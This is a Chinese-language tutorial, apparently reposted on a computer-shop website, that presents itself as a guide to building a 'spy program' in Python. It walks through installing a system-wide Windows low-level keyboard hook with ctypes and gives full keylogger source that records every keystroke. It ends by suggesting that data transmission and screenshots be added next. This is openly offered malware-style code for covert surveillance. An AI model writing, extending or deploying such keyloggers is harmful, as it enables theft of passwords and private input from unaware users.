系统城装机大师 - 固镇县祥瑞电脑科技销售部宣传站!

当前位置:首页 > 脚本中心 > python > 详细页面

使用Python打造一款间谍程序的流程分析

时间:2020-02-21来源:系统城作者:电脑系统城

知识点

这次我们使用python来打造一款间谍程序

程序中会用到许多知识点,大致分为四块

  win32API 此处可以在MSDN上查看

  Python基础重点在cpytes库的使用,使用方法请点击此处

  C语言基础

  Hook

程序的基本原理在于通过注册Hook,记录系统事件

那么什么是Hook呢

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要先导入DLL库,在Python中我们使用ctypes来导入,导入方法如下


 
  1. user32 = CDLL("user32.dll")
  2. kernel32 = CDLL("kernel32.dll")

我们导入了user32.dll和kernel32.dll

这两个DLL有什么用处呢

  user32.dll   是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

  kernel32.dll  控制着系统的内存管理、数据的输入输出操作和中断处理

流程部分

知道了我们要使用什么样的工具,那么第一步应该怎么做呢

1.首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数,我们可以在系统上注册钩子


 
  1. HHOOK SetWindowsHookExA(
  2. int idHook,
  3. HOOKPROC lpfn,
  4. HINSTANCE hmod,
  5. DWORD dwThreadId
  6. );

通过查看文档我们看到SetWindowsHookExA函数的参数及参数类型如上所示,详细文档点击此链接查看

通过文档我们看到第一个参数idHook中填入钩子的类型

WH_KEYBOARD_LL的常量值为13代表的意思是监视低级键盘输入事件,我们此处来监听键盘事件

第二个参数lpfn代表指向钩子过程的指针,要填入钩子过程(函数),我们可以在此处来添加额外代码达到我们想要达成的目的

第三个参数hmod表示为DLL句柄,我们可以使用kernel32中的GetModuleHandleW来获取句柄

最后一个参数dwThreadId我们填入0代表与同一桌面上所有的线程关联

代码如下


 
  1. user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

如何使用Python来编写我们的钩子过程呢,通过ctypes文档我们可以得知windows下使用WINFUNCTYPE来创建函数

此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,具体要使用哪一个呢,这两个的区别为

  WINFUNCTYPE  为Windows下独有的,通过使用使用stdcall调用约定的函数

  CFUNCTYPE   使用标准C调用约定的函数


 
  1. HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

因为我们调用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它

LowLevelKeyboardProc数据结构如下


 
  1. LRESULT CALLBACK LowLevelKeyboardProc(
  2. _In_ int nCode,
  3. _In_ WPARAM wParam,
  4. _In_ LPARAM lParam
  5. );

按照官方文档提示如果nCode小于零,则挂钩过程必须将消息传递给CallNextHookEx函数,而无需进一步处理,并且应返回CallNextHookEx返回的值

我们转换为Python代码


 
  1. class KBDLLHOOKSTRUCT(Structure):
  2. _fields_ = [
  3. ('vkCode', DWORD),
  4. ('scanCode', DWORD),
  5. ('flags', DWORD),
  6. ('time', DWORD),
  7. ('dwExtraInfo', DWORD)]
  8.  
  9. def hookProc(nCode, wParam, lParam):
  10. if nCode < 0:
  11. return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
  12. else:
  13. # 此处插入我们的代码
  14. pass
  15. return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢,虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。应用程序无法知道挂钩是否已删除。我们还是主动进行删除

删除需要使用user32.dll的UnhookWindowsHookEx,参数为Hook句柄

user32.UnhookWindowsHookEx(hooked)

下面贴上全部代码


 
  1. import sys
  2. from ctypes import *
  3. from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM
  4. user32 = CDLL("user32.dll")
  5. kernel32 = CDLL("kernel32.dll")
  6. class KBDLLHOOKSTRUCT(Structure):
  7. _fields_ = [
  8. ('vkCode', DWORD),
  9. ('scanCode', DWORD),
  10. ('flags', DWORD),
  11. ('time', DWORD),
  12. ('dwExtraInfo', DWORD)]
  13. def uninstallHookProc(hooked):
  14. if hooked is None:
  15. return
  16. user32.UnhookWindowsHookEx(hooked)
  17. hooked = None
  18. def hookProc(nCode, wParam, lParam):
  19. if nCode < 0:
  20. return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
  21. else:
  22. if wParam == 256:
  23. if 162 == lParam.contents.value:
  24. print("Ctrl pressed, call Hook uninstall()")
  25. uninstallHookProc(hooked)
  26. sys.exit(-1)
  27. capsLock = user32.GetKeyState(20)
  28. # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
  29. if lParam.contents.value==13:
  30. print("\n")
  31. elif capsLock:
  32. print(chr(lParam.contents.value),end="")
  33. else:
  34. print(chr(lParam.contents.value+32),end="")
  35. return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
  36. def startKeyLog():
  37. msg = MSG()
  38. user32.GetMessageA(byref(msg), 0, 0, 0)
  39. def installHookProc(hooked, pointer):
  40. hooked = user32.SetWindowsHookExA(
  41. 13,
  42. pointer,
  43. kernel32.GetModuleHandleW(),
  44. 0
  45. )
  46. if not hooked:
  47. return False
  48. return True
  49. HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
  50. pointer = HOOKPROC(hookProc)
  51. hooked = None
  52. if installHookProc(hooked, pointer):
  53. print("Hook installed")
  54. try:
  55. msg = MSG()
  56. user32.GetMessageA(byref(msg), 0, 0, 0)
  57. except KeyboardInterrupt as kerror:
  58. uninstallHookProc(hooked)
  59. print("Hook uninstall...")
  60. else:
  61. print("Hook installed error")

贴上我们的效果图

使用Python打造一款间谍程序的流程分析

我们还可以再添加上额外的代码比如数据传输,截屏等等 ^_^

如何想要了解更多的只是请点击这里把 => 地址

总结

以上就是使用Python打造一款间谍程序的流程分析的详细内容,更多关于python间谍程序请关注我们其它相关文章!

分享到:

相关信息

系统教程栏目

栏目热门教程

人气教程排行

站长推荐

热门系统下载